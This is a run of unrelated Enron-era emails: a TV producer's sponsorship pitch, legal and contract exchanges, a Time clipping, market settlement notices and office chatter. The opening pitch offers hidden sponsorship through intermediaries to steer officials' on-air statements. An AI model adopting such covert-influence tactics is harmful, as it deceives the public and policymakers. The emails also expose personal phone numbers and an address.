We produce political/public affairs television programs which air in state capitols. Currently we are in Pennsylvania and Ohio, expanding into NJ, Md and DE. The disruptive technology is this: the real target of the TV show is the guest, not the audience. Lobbyists have trouble scheduling time with politicians and regulators, and when they get on the schedule lobbyists have time getting genuine intellectual focus from government decision makers. We don't have trouble with either. Every politician and appointee wants to be on television, they always say yes. When they ask us what the topics will be, and we mention something like telecommunications competition or electricity deregulation they want briefing material which they actually study in order to do well on television. In addition by inviting journalists and radio and television commentators as members of out panel we have the same effect on them.
 
In short:
 
Step one: identify gov't decision makers that our sponsors want to influence
Step two: invite them on the program and, in doing so, develop rapport with their key staff members on the relevant issues
Step three: send briefing materials and/or give a briefing in person before the the taping
Step four: towards the end of a show in which the Newsmaker has largely been bragging about his/her policy agenda
Step five: steer the conversation to sponsor selected topics, framing the issue in such a way as to make it very difficult for the guest to resist the conclusions suggested by the host.
Step six: take the statement of support for the position we favor e.g. tort reform, privatization, deregulation, tax cuts, etc. (which by the way we almost always are able to get from the guest on the air) and in addition to airing along with the airing of the rest of the show, we digitize it and send it out to legislators, regulators and the proper beat reporters via email making it almost impossible for the newsmaker to back off later.
 
Current sponsors: Medical Society, Hospital Association, State System of Higher Education, Manufacturers Association, Cornell Corrections, AT&T.
Levels: 25K, 50K, 100K per year for Pa; 15k for Ohio (one level only).
 
This is an amazingly simple, elegant and direct way to influence policy makers and opinion molders and we do not have an energy-oriented firms in partnership with us. Enron and Newsmakers are a very good fit.
 
I'll be in touch,
 
p.s. Sponsorship can be done in ways that are not visible if you prefer, via intermediaries, if you are publicity shy.
 
Jerry Bowyer
Pennsylvania Newsmakersseen across the state on these television stations: www.jerrybowyer.com/coveragemap.php << File: http://www.jerrybowyer.com/coveragemap.php >>     
The Jerry Bowyer Programon WPTT radio in Pittsburgh, 1360am: www.1360wptt.com/bowyer 
Focus on the Issueson Cornerstone Television
Audio clips from these programs can be heard at www.jerrybowyer.com/audio.php << File: http://www.jerrybowyer.com/audio.php >>  
412.771.2282 phone
412.771.2363 faxjerrybowyer@home.com << File: mailto:jerrybowyer@home.com >>    
 
Attached are presentations from the Enron Advisory Council meeting.

 - 10th_April_Enron.ppt

Thanks for the reply.  My memory is about as bad as yours.  I don't remember
signing anything.  Where is Keneally's?  I might be around.

GT

Sent: Thursday, June 07, 2001 9:14 AM
To: Turner, Gerry
Subject: Re: Arizona

Hi Gerry,

I don't remember anyone signing a notice of lien in Arizona.  I remember
seeing a bunch of lien notices, since they have to send a notice even if
payment isn't due yet.  I always thought that was strange, and sure created
clutter.  I can't remember if there was any requirement that we sign.  Does
Dewey remember?  If you didn't sign and Dewey didn't sign, that doesn't
leave many folks who would have done so.  I guess they could have changed
the laws, though.   Sorry I'm not more help.  I've forgotten more than I've
remembered.

If you are near town this evening, we are celebrating Paige's 21st birthday
at Keneally's, staring around 7.  I'll buy.  I can't  believe she is 21.
Very disruptive of my self-perception.

Ciao,

Kay

"Turner, Gerry" <TurnerGerry@bek.com> on 06/07/2001 08:23:14 AM

To:   "'Kay Mann'" <kay.mann@enron.com>
cc:

Subject:  Arizona

Hello Kay---

I need some free legal advice and you are my favorite attorney.  I'll buy
you a drink as payment in kind.

Try and remember El Paso work in Arizona.  Arizona has statue that says you
must make a twenty day preliminary notice to file a lien.  If you don't
file
such notice you waive your right to ever file a lien.  I remember this from
our previous work out there.

We have a vendor who is supplying services to one of our subcontractors.
He
has sent us a twenty day notice to file a lien.  There is no dispute but he
is sending the notice anyway.  I understand all of that.

My question is this----it asks for us (BE&K) to sign and acknowledge
receipt
of the notice.  It doesn't exactly read like I am required to acknowledge
receipt.  What do you think or remember?  Am I required to sign the notice
or not.  Minor point I know, but I'd rather not raise the flag in
Birmingham.

Thanks.  I really just want to hear from you and this is all I could come
up
with for an excuse to write.

Gerry Turner

Suzanne:

Please send an e-mail to all of the lawyers and paralegals in the ECT Legal 
Dept. asking them to reserve the conference dates and asking them to let you 
know their t-shirt sizes.   Once you have everyone's t-shirt sizes, please 
give the list to Dan.

Thanks,

Mark

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 06/16/2000 
10:23 AM ---------------------------

06/08/2000 02:15 PM
To: Ronnie Chahal/HOU/EES@EES, Osman Sezgen/HOU/EES@EES
cc: Vince J Kaminski/HOU/ECT@ECT, Zimin Lu/HOU/ECT@ECT, Paulo 
Issler/HOU/ECT@ECT 
Subject: Spreadlag Option valuation

a)  We have used language (Catequil Partners, LP for example) where the MAC 
applies first the S&P rating, if no S&P rating exists, then Moody's, then if 
Enron has no rating from either agency.  Please use the same language here.  
I expect this will be the standard for the hedge funds.

b)  Let's try for Events of Default.  If they protest, I'm okay with making 
them Termination events.

c)  Yes, my thinking on the deal changed when I realized we would be holding 
cash and not LCs.  So there will be two way margining.

Yes, we want the monthly statement language, and the engineering/reserve 
reports.

All of the above also applies for CD Holdings.
Sent: Monday, April 23, 2001 9:56 AM
Subject: Valentis

Paul:

  With respect to Valentis:

 (a)  Does the MAC apply to both S&P and Moody's?  (not clear from worksheet)
 (b)  Are the financial covenants Events of Default or Termination Events?  
(looks like these were Termination Events in AIG)
 (c)  Is this deal two-way margining?  You have set 0 Thresholds but 
indicated Return/Delivery for both parties.  Our discussion of last week may 
have changed (we discussed one-way margining for CP only).

I'll have the same questions for CD Holdings.

Order #  013307830292 

Dear Jeffrey Dasovich,

Thank you for shopping with Williams-Sonoma.  We have received your order, and it is currently being processed.  Please see below for details:

Ship to Name & Address:

101 California St.
Suite 1950

(For privacy reasons, the city, state and zip code have been omitted.)

  Item Description                     Item #       Qty      Price  Status        

  Heirloom Tomato Bowls S/5            83-4006151    1      $49.00  Available for immediate shipping

-------------------------------------------------------------------------------------------

Merchandise Subtotal      $49.00
Shipping Charge           $10.50

Tax                        $4.04
Total                     $63.54

We will continue to email the status of your order as each item is shipped.  You can always review the status of your order at http://service.williams-sonoma.com/3750855.18932.569439.800.cs%2Findex.cfm%3Fbnrid%3D8300017.
Simply enter your order confirmation number and billing zip code to access the information.
If you ordered multiple items, some items may be shipped separately with no additional shipping charges.
	
Williams-Sonoma Customer Service 
1.800.541.1262

Weekdays, 7:00 a.m. to 5:00 p.m., Pacific time
Saturday, 8:00 a.m. to 4:30 p.m., Pacific time

		To visit us online, go to http://service.williams-sonoma.com/3750855.18932.569439.2255.%3Fbnrid%3D8300011

Attached is the April 2000 Curve validation and Profit report for UK Power.

If there are any questions or queries please let me know.  Appologies for 
this being late this month as I have been out of the office.

Regards James

is it still snowing?

From: 	"Tom Lenhart" <tlenhart@corealty.com>@ENRON [mailto:IMCEANOTES-+22Tom+20Lenhart+22+20+3Ctlenhart+40corealty+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, May 21, 2001 11:10 AM

i think they will play better tonight. they need to win tonight, they
haven't played real well in st.louis.

From: Lenhart, Matthew [mailto:Matthew.Lenhart@ENRON.com]
Sent: Monday, May 21, 2001 9:49 AM
To: tlenhart@corealty.com
Subject:

do you think the avs will close out the blues tonight?  they haven't
looked too good the last two games.

Jim,

I have two presentations.  

Old presentation:

New presentation:

Thanks,
Carolyn

----- Forwarded by Tana Jones/HOU/ECT on 10/03/2000 05:02 PM -----

	10/03/2000 05:00 PM
		 
Schott/HOU/ECT@ECT, Sheri Thomas/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, 
Bernice Rodriguez/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Debbie R 
Brackett/HOU/ECT@ECT, David Hardy/LON/ECT@ECT, Lesli Campbell/HOU/ECT@ECT, 
Molly Harris/HOU/ECT@ECT, Cynthia Clark/Corp/Enron@ENRON, Mary G 
Gosnell/HOU/ECT@ECT, Enron Europe Global Contracts and Facilities, Enron 
Europe Global CounterParty, Stephanie Sever/HOU/ECT@ECT, Bradley 
Diebner/HOU/ECT@ECT, Stacey Richardson/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, 
Adnan Patel/Corp/Enron@ENRON, Claudia Clark/HOU/ECT@ECT, William S 
Bradford/HOU/ECT@ECT, Lisa Lees/HOU/ECT@ECT
		 cc: 
		 Subject: EOL Credit Responses 10/03/00

The EOL approvals for 10/03/00 are attached below.

Regards,
bd

Hello, my friend Jay W.

I just wanted to say what a great day I am having.  I
am at peace with my surroundings and getting up to go
to work is the highlight of every day, because it
interrupts the nagging sleep that cuts into work time.
I have a constant smile and my cheerfullness is
rubbing off on others.  We are all a happy family.  I
am sure that your life is the same.  I hope that I can
live to be 200 years old and that I am allowed to work
that long, because every second at the office is an
eternity of serene enlightenment.

God Bless you, friend, and peace be with you.

-andy

Get personalized email addresses from Yahoo! Mail - only $35
a year!  http://personal.mail.yahoo.com/

Not sure if this is good press  :->)

From: 	djcustomclips@djinteractive.com@ENRON [mailto:IMCEANOTES-djcustomclips+40djinteractive+2Ecom+40ENRON@ENRON.com] 
Sent:	Tuesday, May 22, 2001 6:30 PM
To:	168842@mailman.enron.com
Subject:	Rahil Jafry: Topping Out In Houston Again    WELL OILED

Topping Out In Houston Again
WELL OILED
Cathy Booth Thomas/Dallas

05/28/2001
Time Magazine
60

   Send the architects south. Silicon Valley may be powerless and
profitless, but Houston, the nation's energy capital and home to the
oil-baron excesses of the 1980s, is back in "bidness." The energy
giants in Texas have big fat wallets these days--and even bigger
construction plans. Not since the boom days of 1982, when trophy
architects like Philip Johnson and I.M. Pei reconfigured the skyline,
has Houston seen so much construction activity by the energy sector.

   Leading the parade, ironically, is Enron, an old energy behemoth
that has reinvented itself as a high-tech trading firm dealing in
everything from natural gas to Internet bandwidth. In fact, its new
40-story headquarters, designed by Cesar Pelli, will be fronted by a
seven-story "podium"--or shorter building--to house what Enron is
calling the largest commodities-trading environment in the world.
   This environment, spread over four floors, each the size of a city
block, will become home this August to 2,000 employees trading
commodities that range from Old World (crude oil, petrochemicals,
steel and lumber) to New World (emission credits and derivatives).
Chairman Kenneth Lay and CEO Jeff Skilling are even moving from their
skyboxes to work in seventh-floor offices so they can peer down into
the pit.

   When the bigger 40-story structure is finished in December,
Enron's will be the first new skyscraper in downtown Houston since
1987--to be followed by three more by 2003. Besides Enron, Calpine
Corp., the nation's leading independent-power company, based in
California, will move into a new 32-story high-rise. And Reliant
Resources, the IPO spun off this month from its Houston parent to
deal with Texas' new deregulated electricity market, has signed on
for offices in a 36-story skyscraper.

   What's fueling the high-rise fever is simple: excess cash. Enron's
first-quarter revenues were up 281%, while Calpine's revenues and net
income were each up more than 400%--even with California's deadbeat
utility PG&E owing the company more than $300 million.

   After a decade of contraction in the business, with companies
having shut offices from New Orleans to Oklahoma, deregulation and
new marketing strategies are sparking Houston's renaissance. "Enron
is a leading example of the new energy industry. Ten years ago, there
were no trading floors," points out Stephen Brown, senior economist
with the Federal Reserve Bank in Dallas. Both Calpine and Reliant
will also have trading operations in their new offices.

   Though Houston no longer relies so heavily on the energy business
(down to 48% of the local economy from 82% in 1982) the turnaround
sure feels good after the city lost more than 15,000 energy-sector
jobs two years ago, says Barton Smith, director of the Institute for
Regional Forecasting at the University of Houston. It has gained
those jobs back, plus some. Says Smith: "The current boom is what's
keeping Houston afloat while the rest of the country is suffering."

   None of this matters to real Houston lovers, of course. They're
just interested in bragging rights. After a bad decade, they're
beginning to sound like the biggest and the best in Texas again.
"Boomlet?" says Laura Schwartz, spokeswoman at Enron. "It's more than
a mini-boom. It's a boom."

   --By Cathy Booth Thomas/Dallas

COLOR PHOTO: KARL STOLLEIS--HOUSTON CHRONICLE
Enron Corp.'s new digs, designed by Cesar Pelli, is emblematic
of energy's return to power

Folder Name: Rahil Jafry
Relevance Score on Scale of 100: 81

______________________________________________________________________

To review or revise your folder, visit http://www.djinteractive.com or contact Dow Jones Customer Service by e-mail at custom.news@bis.dowjones.com or by phone at 800-369-7466. (Outside the U.S. and Canada, call 609-452-1511 or contact your local sales representative.)

Copyright (c) 2001 Dow Jones & Company, Inc. All Rights Reserved

Good morning, Doris!   Stan is in DC today but will be back in the office tomorrow morning.   Would you allow us to get you comments by 9:00AM tomorrow?

Thanks,
Cindy

Doris Foster@EOTT
05/08/2001 03:59 PM
To:	cody.w.smith@us.arthurandersen.com, cpena@velaw.com, Dana Gibbs/Houston/Eott@Eott, james.d.eggers@us.arthurandersen.com, Karl Jackson/Houston/Eott@Eott, Lawrence Clayton/Houston/Eott@Eott, michael.d.jones@us.arthurandersen.com, Molly Sample/Houston/Eott@Eott, Rex Rogers/Corp/Enron@Enron, rbaird@velaw.com, Scott Vonderheide/Corp/Enron@Enron, Stanley Horton/Corp/Enron@Enron, stephen.p.huzar@us.arthurandersen.com, Sandra Schneider/Houston/Eott@Eott
cc:	 

Subject:	Draft of EOTT's 1st quarter 2001 Form 10-Q

Attached is the draft of EOTT's Form 10-Q for the first quarter of 2001.  Please provide all comments on the draft to Lori no later than 8:00 a.m. on Thursday May 10, 2001.
Thanks

---------------------- Forwarded by Mary Hain/HOU/ECT on 02/08/2001 11:02 AM 
   
	From:  "Ronald Carroll" <rcarroll@bracepatt.com>                           
02/08/2001 10:54 AM
	
To: <acomnes@enron.com>, <Christi.L.Nicolay@enron.com>, <dfulton@enron.com>, 
<jhartso@enron.com>, <mary.hain@enron.com>, <smara@enron.com>, 
<snovose@enron.com>
cc:  
Subject: Fwd: DJ FERC Affirms It Lacks Jurisdiction In Pwr Facility Sales

Content-Transfer-Encoding: quoted-printable
Date: Thu, 08 Feb 2001 09:47:47 -0600
From: "Tracey Bradley" <tbradley@bracepatt.com>
To: "G. Alan Rafte" <arafte@bracepatt.com>, "Andrea Settanni" 
<asettanni@bracepatt.com>, "Charles Shoneman" <cshoneman@bracepatt.com>, 
"David Parr" <dparr@bracepatt.com>, "Jeffrey Watkiss" 
<dwatkiss@bracepatt.com>, "Gene Godley" <ggodley@bracepatt.com>, "Kimberly 
Curry" <kcurry@bracepatt.com>, "Nancy Wodka" <nwodka@bracepatt.com>, "Paul 
Fox" <pfox@bracepatt.com>, "Ronald Carroll" <rcarroll@bracepatt.com>
Subject: DJ FERC Affirms It Lacks Jurisdiction In Pwr Facility Sales
Content-Type: text/plain; charset=ISO-8859-1

FYI

DJ FERC Affirms It Lacks Jurisdiction In Pwr Facility Sales
Copyright , 2001 Dow Jones & Company, Inc.

WASHINGTON (Dow Jones)--The U.S. Federal Energy Regulatory Commission 
Wednesday reaffirmed its policy finding that it lacks jurisdiction over 
generation facility transfers.

     The Federal Power Act requires the commission to approve jurisdictional 
asset transfers greater than $50,000 in value. But FERC doesn't view 
generation assets as jurisdictional.

     FERC often rules on generation asset transfers, but only in the context 
of associated transmission assets and power sales connected with the 
generation assets. FERC regulates electricity sales, but not the plants that 
produce the power.

     With divestiture of generation assets becoming increasingly common in 
the $215 billion U.S. electricity sector, this policy has increasingly been 
questioned by consumer interests and others.

     Most recently, the American Public Power Association and Citizen Power 
Inc., a utility watchdog group, petitioned the commission to reconsider its 
view that generation asset transfers, absent associated transmission 
facilities and power sales agreements, don't fall under FERC jurisdiction.

     At issue were generation asset sales by Duquesne Light Co. (DQZ), and 
FirstEnergy Corp.'s (FE) transfer of power plant ownership from its utility 
operating units to FirstEnergy's competitive services unit.

     The commission was unpersuaded by arguments of APPA and Citizens Power 
that state regulation is inadequate to protect the public interest and 
promote competition in the restructuring electric utility industry.

     "There is no necessary nexus between the interstate transmission or sale 
of electric energy, on the one hand, (the triggering events giving rise to 
our jurisdiction) and the disposition of a generation facility by itself," 
FERC said.

     "Not only does the statutory text support our interpretation, but there 
is no precedent, legislative history, or case law which would support a 
contrary conclusion," FERC said, denying the petition.

     FERC cited section 203(a) of the Federal Power Act as conferring 
authority to regulate the disposition of "facilities subject to the 
jurisdiction of the commission." FERC has never asserted jurisdiction over 
generation assets, and has traditionally left that to state utility 
regulators.

     By Bryan Lee, Dow Jones Newswires, 202-862-6647, 
mailto:bryan.lee@dowjones.com
     (END) Dow Jones Newswires 07-02-01

She is now.  I don't think she had a choice.

From: 	"Franklin, Cynthia" <Cynthia.Franklin@ElPaso.com>@ENRON  
Sent:	Monday, January 28, 2002 11:20 AM
To:	Germany, Chris
Subject:	RE: Judy

Is she full time?

From: Chris.Germany@enron.com [mailto:Chris.Germany@enron.com]
Sent: Monday, January 28, 2002 11:14 AM
To: Franklin, Cynthia
Subject: RE: Judy

Yes maam, she's UBS now.  She was just down here too.

   From:   "Franklin, Cynthia" <Cynthia.Franklin@ElPaso.com>@ENRON
   Sent:   Monday, January 28, 2002 10:56 AM
   To:     Germany, Chris
   Subject:  Judy

   Chris,
   I didn't remember if your email mentioned Judy. Did she make it?

   Cindy Franklin
   Transportation Services
   Work:832.676.3177
   Fax: 832.676.1329
   Pager: 1.888.509.3736

   ******************************************************************
   This email and any files transmitted with it from the ElPaso
   Corporation are confidential and intended solely for the
   use of the individual or entity to whom they are addressed.
   If you have received this email in error please notify the
   sender.

Thank you.

This email and any files transmitted with it from the ElPaso
Corporation are confidential and intended solely for the
use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the
sender.

fysicalll (sp?), weapon y???  what are yall talking about, stop confusing me!!!!!!!!

Sent:	Wednesday, January 30, 2002 12:52 PM
To:	Winfree, O'Neal D.; Love, Phillip M.; Giron, Darron C.; Palmer, B. Scott; McLaughlin Jr., Errol
Subject:	RE: Heads up

Also, all physical weapon-X tabs are linking to an old east book.  I didn't touch that tab yet, we don't know if we're using weapon-X or sasqwatch.

KK

From: 	Winfree, O'Neal D.  
Sent:	Wednesday, January 30, 2002 11:53 AM
To:	Keiser, Kam; Love, Phillip M.; Giron, Darron C.; Palmer, B. Scott; McLaughlin Jr., Errol
Subject:	Heads up

Hey Gang,

Just a heads up, but you may need to edit your Copy Physical Macro in your P&L's that are saved in the Netco/Regions folder... The changes were simply renaming sheets in the Macro... O 

 - 10-23 1600 Report.xls 

Hey, Carol!  November 15 looks like a great day.  Any other day (except 
Friday) could work.  Sara

	10/30/2000 10:36 AM
		 
		 To: Mary Cook/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT
		 cc: 
		 Subject: Open Lunch Dates

Sara and Mary:
Here are some dates in the next 2 weeks that work for me for lunch:

Next week - Monday, Wednesday and Friday
Week of November 13th - Monday, Wednesday, Thursday, Friday

Let me know what works for you.  Look forward to hearing from you.

EB 3892

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 08/16/2000 
05:10 PM ---------------------------

08/15/2000 05:57 PM
cc:  
Subject: 

Vince, 
The book "Power Economics" can be downloaded from
http://www.stoft.com/

Best,
Alex

----- Forwarded by Mark Taylor/HOU/ECT on 06/22/2000 01:22 PM -----

=09Ann Hicks@ENRON
=0906/22/2000 09:41 AM
=09=09=20
=09=09 To: Anne Hicks/LON/ECT@ECT
=09=09 cc: Mark Taylor/HOU/ECT@ECT
=09=09 Subject: Enron North America Corp. NYMEX Hedge Exemption Application=
s

----- Forwarded by Ann Hicks/NA/Enron on 06/22/2000 09:40 AM -----

=09Mark Taylor
=09Sent by: Enron Announcements
=0906/21/2000 06:39 PM
=09=09=20
=09=09 To: All Enron Houston, Everyone_in_ECT_Calgary, Everyone_in_ECT_Lond=
on,=20
=20
=20
=20
s

ns=20
=20
ts=20
=20

=20
=20
t=20

TO=20

Start Date: 1/17/02; HourAhead hour: 15;  HourAhead schedule download failed. Manual intervention required.

RBowers@nyiso.com writes to the NYISO_TECH_EXCHANGE Discussion List:

Total NYISO MWh for use in the denominator of your ratio share computations
are as follows:

March 2001:    13,677,199 MWh
July 2000:     14,144,257 MWh
August 2000:   14,854,861 MWh

A short-cut to computing your monthly MWh is to divide your total "fixed"
Schedule 1 or NTAC costs by the respective monthly rates.

----- Forwarded by Randy Bowers/NYISO on 08/08/01 12:31 PM -----

                    Randy Bowers
                                         To:     TIE List Server
                    08/08/01             cc:
                    12:17 PM             Subject:     Adjustments to 7/2000, 8/2000, & 3/2001 Settlement
                                         Adjustment Invoices

The NYISO will be posting invoices later today for the initial settlements
of July 2001 and the 1st settlement adjustments of July 2000, August 2000,
& March 2001.  Transmission Customers will observe the following
adjustments to their settlements.

Adjustments have been made to Transmission Customers' invoices to recover
the costs related adjustments made to customer settlements outside of the
billing process and to adjust the NYISO clearing account balance to zero
for each month invoiced.

Prior to October 2000, the NYISO recovered or refunded differences in the
revenue received from Schedule 1 charges, which were comprised of
forecasted uplift & residual adjustments, and  the costs actually incurred
by adjusting subsequent month's Schedule 1 rates accordingly.  In October
2000, the NYISO implemented a change in the tariffed Schedule 1 provisions
that allowed the recovery and refund of these costs as they were incurred.
In order to allow any changes in uplift and residual adjustments to be
settled through the settlement adjustment process, the code implemented in
October 2000 was used to report these costs to the market.  This results in
an over-collection which is being returned to Customers through an
adjustment to their monthly balances.  This billing treatment for July 2000
and August 2000 settlement adjustments resulted in credits to the market
totaling $7,700,605.23 and $32,146,310.55, respectively.  Customers where
paid their share of these adjustments based upon their respective ratio
shares of NYISO load for each month.  This adjustment provides for the
settlement of all accounts in the market in the month(s) the costs or
over-collections were realized and adjusts the NYISO clearing account
balance impact to zero for each month.

Adjustments have also been made to Transmission Customers' invoices to
recover the costs related adjustments made to customer settlements outside
of the billing process.  These adjustments totalled $964,548.42 for March
2001, $375,110.49 for July 2000 and $48,973.41 for August 2000. Customers
where allocated their share in these costs based upon their respective
ratio shares of NYISO load for each month.

Regards,
Randy A. Bowers
Manager - Customer Settlements

That sounds okay with me.  I will start this through the signature process.
Thank you for agreeing to  our requested changes and responding ot them so
quickly.

From: Dan.J.Hyvl@enron.com [mailto:Dan.J.Hyvl@enron.com]
Sent: Tuesday, January 23, 2001 2:50 PM
To: CWPfister@cps-satx.com
Subject: Re: FW: Enfolio Contract with CPS

Christian,
     I have made the change to Section 8.8 as requested in the attached
contract document.  You are correct about the second item, it is intended
that the Purchase Order Number be a part of the address to be included on
any invoice that is issued to the company.  This is absolutely the only way
that we have to include the Purchase Order Number on any statements.
Therefore, i have not removed that line from the address,  At such time as
the Purchase Order Number is available, please send a revised address
notice to the company containing such number.  Until that happens, it will
be understood that no number has been provided.  Please call if you have
any questions.

(See attached file: 2001-001ctr.doc)

                    "Pfister,

                    Christian W."         To:     "'Dan.J.Hyvl@enron.com'"

                    <CWPfister@cps        <Dan.J.Hyvl@enron.com>

                    -satx.com>            cc:

                                          Subject:     FW: Enfolio Contract
with CPS
                    01/23/2001

                    10:43 AM

Mr. Hyvl,

I just now had a chance to make a final review of the contract and noticed
a
couple of items:

1.  Section 8.8. Confidentiality (page 5)

"and wire instructions" was inserted in the wrong place.  Could you change
it to read:  "The provisions of the Agreement, other than the terms of any
Transaction and wire instructions, are not subject to this confidentiality
obligation."

2.  Exhibit "A"  Customer Invoices

Under the address for CPS invoices, you inserted "Purchase Order Number
_________."  Since we do not know at this time what the purchase order
number will be, could we delete this.  Otherwise, it looks as if the
purchase order number is supposed to be part of the address.

If you have any questions, please feel free to call me at (210)353-3725.
Thanks ...

I have not received your dues yet.  I am giving you a one week reprieve.  If 
I do not receive your dues ($110) by this Sunday, you will forfeit.  

My address is:

2302 Travis St.. #8225
Houston  77006

-Eric

Steve:
A friend of mine from Kinder/Morgan called and they had a deal fall through 
on them that was designe dfor 4 LM 6000's.  They have 2 MVA transformers, 3 
breakers and switchgear and bus work equipment that they are looking to get 
rid of. Please let me know if you guys are interested.  Thanks!
Ben

---------------------- Forwarded by Ross Newlin/ENRON_DEVELOPMENT on 
09/27/2000 10:33 AM ---------------------------

Katherine Padilla
09/27/2000 08:59 AM
To: Ross Newlin/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Cecilia Ramirez/NA/Enron@ENRON 

Subject: ORG Chart

For your files...
---------------------- Forwarded by Katherine Padilla/ENRON_DEVELOPMENT on 
09/27/2000 09:01 AM ---------------------------

Barbara Harrison@ECT
09/22/2000 09:44 AM
To: Katherine.Padilla@enron.com
cc: Ross Newlin/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Katherine,

I am unsure of the direction Ross would like for me to take with the Central 
Office (Purchasing & Maintenance).  As you will see I have one ORG for all 
people associated with New Albany.  If Ross would like for it to be listed as 
two, let me know and it will be no problem to generate the second chart.  Let 
me know if I can be of anymore help.

Barbara

----- Forwarded by Jeff Dasovich/NA/Enron on 02/13/2001 10:50 AM -----

	"Ronald Carroll" <rcarroll@bracepatt.com>
	02/13/2001 08:40 AM
		 
		 To: <acomnes@enron.com>, <jdasovic@enron.com>, <jhartso@enron.com>, 
<mary.hain@enron.com>, <smara@enron.com>, <jstamper@omm.com>
		 cc: 
		 Subject: Fwd: APX Has New CEO -- Former CalPX CEO John Yurkanin

----- Message from "Tracey Bradley" <tbradley@bracepatt.com> on Tue, 13 Feb 
2001 08:36:59 -0600 -----
To:	"Ronald Carroll" <rcarroll@bracepatt.com>
Subject:	APX Has New CEO -- Former CalPX CEO John Yurkanin
Monday February 12, 4:07 pm Eastern Time
Press Release

Automated Power Exchange Appoints John Yurkanin New Chief Executive Officer

Former CalPX Executive Promises To Be Key Player in Global Power Arena

SANTA CLARA, Calif.--(BUSINESS WIRE)--Feb. 12, 2001--Automated Power 
Exchangec Inc. (APXc), a leading provider of online markets for the electric 
power industry, today announced that John Yurkanin has joined APX as its new 
president and chief executive officer (CEO). Yurkanin, former chief operating 
officer of the California Power Exchange (CalPX), has two decades of 
experience in the energy industry, including oil, gas, and electric power. 

``I am very pleased to be taking the helm of APX,'' said Yurkanin. ``The APX 
approach - using the Internet to foster open and neutral markets for power 
trading and delivery - is just what the U.S. and international markets of 
today and tomorrow need. APX has assembled an exceptionally talented group of 
people who are developing the leading Internet-based marketplace for the 
electric power industry.'' 

Yurkanin, a career energy industry executive, brings an international, 
multi-commodity perspective to his new role at APX, from his past roles at 
British Petroleum, Louisville Gas and Electric, and most recently CalPX. He 
had served as executive vice president and chief operating officer for the 
CalPX since December 1998 with responsibility for internal operations. This 
included all trading operations, market services, settlement operations, 
marketing, and information technology efforts. 

``APX, as a provider of open markets, is an important part of the resolution 
of California's volatile electricity market, as well as aiding other 
deregulating markets around the globe,'' said Yurkanin. ``This is important 
not only on a regional, but also on a global level, for the lessons being 
learned in California will shape the course of markets around the world. In 
joining APX, I am able to bring my recent public sector experience back into 
the private sector, where I have spent most of my career.'' 

Prior to joining CalPX, Yurkanin served as Louisville Gas and Electric Energy 
Corp.'s (LG&E) senior vice president for marketing and operations in its 
non-regulated businesses with responsibility for operating assets associated 
with the 24-hour power operations and gas control facilities. He also 
directed LG&E's retail marketing, regulatory strategy, and products and 
services development for emerging power and gas markets. 

Yurkanin also was a principal in two energy consulting firms for two years 
after his lengthy tenure with British Petroleum (BP), which extended from 
1981 until 1994. At BP, he advanced through a number of positions associated 
with crude oil trading, and North American and European oil and gas 
marketing. From 1992 to 1994, he served as vice president for BP Gas, with 
responsibilities for the start-up of U.S. commodity marketing and trading 
operations to manage BP's equity production of gas and liquid hydrocarbons. 

Richard Amen, who had served as APX CEO since May 2000, will resume his role 
as managing partner of Venture Management Associates (VMA), which provides 
investment capital and management assistance for rapidly growing technology 
companies. 

Yurkanin earned a master of business administration, with emphasis in finance 
and management, from Xavier University of Ohio, and holds a bachelor of 
science degree in chemistry from the University of Cincinnati. 

About Automated Power Exchange 

Automated Power Exchange operates Internet-based markets for the buying and 
selling of electric power, renewable power, and related products and provides 
the market and scheduling technologies needed to support power system 
administration. A privately held company with approximately 100 employees, 
APX has its world headquarters in Santa Clara, Calif., and its European 
headquarters in London. More information is available at www.apx.com. 

--
Contact: 

     APX
     Lynn Fisher, 408/517-2134
     lfisher@apx.com 
        or
     Hill and Knowlton
     John Grubb, 415/955-2137

Paula,

Works for me. Maybe we should go out and explore some other options
in the Montrose/Heights area.

Vince

From: Paula Corey@ENRON COMMUNICATIONS on 04/14/2000 10:18 AM
To: Vince J Kaminski/HOU/ECT@ECT, Beth Perlman/HOU/ECT@ECT, Lou 
Casari/HOU/EES@EES, Carl Livermore/HOU/ECT@ECT, Anthony Mends/Enron 
Communications@Enron Communications, ametz@flash.net, 
vanessa_carranza@usa.net, Steve Lovett/Enron Communications@Enron 
cc:  
Subject: Round Table

We are lo-o-o-o-ng overdue for a meeting of the round table and it is time to 
work this into our schedules.

Please respond and let me know if Thursday, April 27th will work for 
everyone. I think LaGriglia would be a good place but am open to any and all 
suggestions. 

Thank you

Paula

Kimberley,

Where are the services -  date and time and location.

	From:  Kimberly Brown                           08/28/2000 08:59 AM
	
To: Scott Neal/HOU/ECT@ECT, Jared Kaiser/HOU/ECT@ECT, Sandra F 
Brawner/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT, Brad McKay/HOU/ECT@ECT, Scott 
Hendrickson/HOU/ECT@ECT, Sarah Mulholland/HOU/ECT@ECT, Andrea 
Ring/HOU/ECT@ECT, Susan W Pereira/HOU/ECT@ECT, Dan Junek/HOU/ECT@ECT, Chris 
Germany/HOU/ECT@ECT, Judy Townsend/HOU/ECT@ECT, Robin Barbe/HOU/ECT@ECT, Kate 
Fraser/HOU/ECT@ECT, Tammi DePaolis/Corp/Enron@ENRON, Maureen 
Smith/HOU/ECT@ECT, John Craig Taylor/HOU/ECT@ECT, Scott 
Goodell/Corp/Enron@ENRON
cc:  
Subject: Randy Gay's Wife

Just in case you did not know, Randy's wife died last week. They will be 
having services today and tomorrow.  However, in lieu of flowers they would 
like donations for a playground in their neighborhood.  If you want to give a 
donation, please bring it by my desk.

Thanks
Kimberly

Probably Thursday noon since some people are planning to be out Friday.

Tom

Sent:	Tuesday, November 06, 2001 1:02 PM
To:	Martin, Thomas A.
Subject:	FW: ECS Relocation Start time

Tom, when do you suggest that I get everybody their boxes and move-packets?  I don't want everyone's things to be in the way, but at the same time, I don't want to wait until the last minute.  Daniel Muschar, with the IT group, sent me the email below.  What should I say in response to it?

Laura

From: 	Muschar, Daniel  
